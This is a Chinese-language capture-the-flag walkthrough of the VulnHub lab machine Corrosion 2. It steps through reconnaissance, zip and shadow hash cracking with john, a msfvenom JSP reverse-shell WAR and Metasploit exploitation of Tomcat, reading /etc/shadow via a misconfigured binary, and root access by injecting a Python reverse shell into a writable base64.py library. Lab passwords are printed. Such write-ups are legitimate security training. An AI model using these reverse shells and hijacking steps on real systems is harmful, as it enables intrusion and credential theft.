环境搭建
靶机下载地址:https://www.vulnhub.com/entry/corrosion-2,745/
使用vmware workstation打开虚拟机镜像。这里需要注意,在靶机下载界面已经给出暗示,枚举才是关键!
看来这个靶机必须要进行暴力破解了。
搭建好是带图形化的ubuntu系统。
信息收集
同网段设置kali攻击机,扫描靶机真实IP为192.168.147.131。
arp-scan -Ieth0 -l
nmap对靶机开放端口及服务进行扫描,扫描到开放了22端口SSH服务,80端口HTTP服务和8080的Tomcat。
nmap -sS-A-T4-Pn-p-192.168.147.131
由于没有字典和可收集的账号信息,先访问网页服务试试,一个是Apache的默认页面,一个是Tomcat的管理页面。
对其两个网站进行目录扫描,使用dirsearch工具。
dirsearch -uhttp://192.168.147.131
Apache默认页面只有一个./index.html可访问。尝试对8080的Tomcat网页进行扫描。
dirsearch -uhttp://192.168.147.131:8080
密码破解
扫描到了一些基本的Tomcat目录结构,还有一个/manager管理网页,/backup.zip的压缩包,/readme.txt
的文本那就先访问这个readme.txt看看是什么内容。
大致是管理员说他留了个文件在服务器里,没人能找到,还有记住他给的密码。但是也没给呀 再去看看backup.zip
里是什么。但是也需要密码。
那么就尝试使用密码破解工具。将文件传到kali中。
这里需要使用zip2john,与之前靶场的ssh2john属同一系列。
zip2john backup.zip > password.txt
john -wordlist=/usr/share/wordlists/rockyou.txt password.txt
成功破解出密码是@administrator_hi5,去解压看看有什么文件。
在其中发现了一份很有价值的文件,tomcat-users.xml,一看就是保存了账号相关信息的。
其中有四种Tomcat管理角色类型。分别对应了GUI图形化、API接口、JMX代理和状态页的 在下
面就给出了许多账号。
其中有两个账户都可以管理gui界面,分别是manager和admin。
manager ---- melehifokivai
admin ---- melehifokivai
既然可以上传war包,那么就使用MSF生成一个war格式的木马尝试上传。
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.147.129 LPORT=6789 -f war > ninggo.war
再通过网页传上去部署。kali端提前开启监听。
但是部署了好几次也没有反弹shell,看来这个方法不太行。寻找其它方式。
在之前打Host:1时候,也是Tomcat9.0版本,当时是利用了MSF的内置脚本,现在也可以再尝试一下。
msfconsole -q
search tomcat 9
use 5
成功getshell,但目前是普通用户,先换成交互式shell。
python3 -c'import pty; pty.spawn("/bin/bash")'
在home文件夹下发现了两个用户,randy和jaye,在randy文件夹下发现了user.txt和一个note.txt。
note中指出目前我们(randy)是没有主目录的增删权限的,而且也不可以查看jaye家目录下的文件所
以这里需要尝试切换用户,发现jaye是可以配合tomcat的密码登录的。
jaye的家目录中有ssh文件夹,那么就可以直接SSH连接。
jaye的家目录中有ssh文件夹,那么就可以直接SSH连接。
sshjaye@192.168.147.131
在jaye的家目录下的Files文件夹下发现了look文件,cat查看是无权的,用file进行查看,file可以查看该文件的
类型发现look可以越权访问,那么就可以直接查看root目录下的内容,直接查看root的flag。
但是此处不用这种投机取巧的方法,继续利用look寻找有价值的文件,比如/etc/passwd、/etc/shadow这种。
./look '''/etc/passwd'
NINGGO=/etc/shadow
./look ''"$NINGGO"
将输出的内容保存下来。
这里需要注意不可以在当前目录保存,因为没有写的权限,需要保存到本地kali。
这里使用unshadow工具来尝试破解shadow密码。unshadow是john的一个工具,unshadow
passwd shadow > password,来将存储用户信息与对应的密码信息进行整合,并将最终的整
合结果存储到password文件中。
unshadow /tmp/passwd /tmp/shadow > password.txt
然后再使用john尝试破解。
耗时一晚上才爆出来randy的密码,root用户是完全爆不出来。
melehifokivai(jaye)
07051986randy(randy)
接下来就可以切换到randy用户登录了。
系统提权
尝试提权操作,使用sudo -l的提权方法发现有一个名为randombase64.py不需要root密码便可执行的程序。
randy@corrosion:~$catrandombase64.py
importbase64
message=input("Enter your string: ")
message_bytes=message.encode('ascii')
base64_bytes=base64.b64encode(message_bytes)
base64_message=base64_bytes.decode('ascii')
print(base64_message)
但是此处randy用户是没有写的权限的,因为是root用户才可读写执行。但是其中有一个base64的
模块被引入。查看一下这个文件。
locate base64.py
cat base64.py
发现这个脚本是当前的randy用户可读写的,那么就可以在此脚本中写入反弹shell语句。
importsocket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.co
nnect(("192.168.147.129",6789));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.filen
o(),2);importpty; pty.spawn("/bin/bash")
需要注意此处会提示生成备份文件,需要在命令模式输入以下内容。
setnobackup
setnowritebackup
setnoswapfile
保存之后提前开启kali的监听,成功反弹shell,级别为root。
成功在/root文件夹下找到flag。
靶机总结
1.Tomcat中间件基本架构及相关的PoC、Exp
2.john工具下的各种类型使用,zip2john、unshadow
3.越权访问,look
4.提权部分的sudo提权及内核版本提权CVE-2021-4034 |